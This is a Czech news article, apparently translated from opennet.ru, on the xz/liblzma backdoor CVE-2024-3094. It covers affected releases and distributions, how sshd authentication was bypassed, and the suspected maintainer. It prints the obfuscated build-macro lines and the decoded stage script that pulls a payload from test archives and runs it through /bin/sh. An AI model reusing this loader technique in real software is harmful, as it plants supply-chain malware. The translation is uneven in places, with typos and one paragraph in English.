V knihovně xz/liblzma byla odhalena zadní vrátka, která umožňují přístup přes sshd.

V balíčku XZ Utils, který zahrnuje knihovnu liblzma a nástroje pro práci se zkomprimovanými daty ve formátu '.xz', byla odhalena zadní vrátka (CVE-2024-3094), která umožňují odchytávat a upravovat data zpracovávaná aplikacemi souvisejícími s knihovnou liblzma. Hlavním cílem zadních vrátek je server OpenSSH, který je v některých distribucích propojen s knihovnou libsystemd, jež zase používá liblzma. Propojení sshd s zranitelnou knihovnou umožňuje útočníkům získat přístup k SSH serveru bez autentizace.

Zadní vrátka byla přítomna v oficiálních vydáních 5.6.0 a 5.6.1, publikovaných 24. února a 9. března, které se stihly dostat do některých distribucí a repozitářů, jako například Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide a 40-beta, openSUSE factory a tumbleweed, LibreELEC, Alpine edge, Solus, NixOS unstable, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testing. Všem uživatelům verzí xz 5.6.0 a 5.6.1 se doporučuje naléhavě vrátit na verzi 5.4.6.

Mezi zmírňující faktory lze uvést to, že verze liblzma se zadními vrátky nebyla součástí stabilních vydání velkých distribucí, ale zasáhla openSUSE Tumbleweed a Fedora 40-beta. Arch Linux a Gentoo používaly zranitelnou verzi zx, ale nebyly napadeny, protože nepoužívají pro OpenSSH záplatu pro podporu systemd-notify, která vede k propojení sshd s liblzma. Zadní vrátka zasahují pouze systémy x86_64 na základě jádra Linux a C knihovny Glibc.

Kód aktivace zadních vrátek byl skryt v m4 makrech z souboru build-to-host.m4, který byl používán nástrojem automake při sestavování. Při sestavování během provádění zamotaných obfuskovaných operací na základě archivů (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), které byly aplikovány pro testování správnosti, byl vytvořen objektový soubor s škodlivým kódem, který byl zařazen do knihovny liblzma a měnil logiku některých jejích funkcí. Aktivující m4 makra zadních vrátek byla součástí tar archivů vydání, ale chyběla v Git repozitáři. Škodlivé testovací archivy byly však přítomny v repozitáři, tj. útočník, který zadní vrátka vnesl, měl přístup jak k repozitáři, tak k procesům vytváření vydání.

Při použití liblzma v aplikacích mohly být zlovolné změny využity k zachycení nebo modifikaci dat a také k ovlivnění fungování sshd. Zvlášť zlovolný kód přepsal funkci RSA_public_decrypt, aby obcházel proces autentizace v sshd. Zpětné dveře obsahovaly ochranu proti detekci a neprojevovaly se, když byly nastaveny proměnné prostředí LANG a TERM (tj. při spuštění procesu v terminálu) a když nebyly nastaveny proměnné prostředí LD_DEBUG a LD_PROFILE; aktivovaly se pouze při spuštění spustitelného souboru /usr/sbin/sshd. V zpětných dveřích byly také prostředky k detekci spuštění v ladicích prostředích.

Zvlášť v souboru m4/build-to-host.m4 byly použity konstrukce gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2>/dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

V první konstrukci operace grep našla soubor tests/files/bad-3-corrupt_lzma2.xz, při rozbalování kterého vznikl skript: ####Hello#### #345U211267$^D330^W [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../.. /config.status;then eval `grep ^srcdir= ../.. /config.status` srcdir=»../.. /$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

Způsob, jakým se útočníkům podařilo získat přístup k infrastruktuře projektu xz, není dosud úplně objasněn. Také zatím není jasné, kolik uživatelů a projektů bylo v důsledku činnosti backdooru kompromitováno. Předpokládaný autor backdooru (JiaT75 — Jia Tan), který umístil do repozitáře archivy s malwarovým kódem, vyjednával s vývojáři Fedory a posílal pull requesty do Debiana týkající se přechodu distribucí na větev xz 5.6.0, a to nevzbudilo žádné podezření, protože se podílel na vývoji xz poslední dva roky a je druhým vývojářem podle počtu přijatých změn. Kromě projektu xz se předpokládaný autor backdooru také podílel na vývoji balíčků xz-java a xz-embedded. Navíc byl Jia Tan před několika dny zahrnut mezi správce projektu XZ Embedded, který se používá v jádru Linuxu.

Malicious change was detected after analyzing excessive CPU consumption and errors reported by valgrind when connecting via ssh to systems based on Debian sid. Notably, the xz 5.6.1 release included changes prepared by the suspected author of the backdoor in response to complaints about slow performance and sshd crashes, arising after the upgrade to version zx 5.6.0 with the backdoor. In addition, last year, Jia Tan made changes incompatible with the '-fsanitize=address' check mode, resulting in its disabling during fuzzing tests.

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster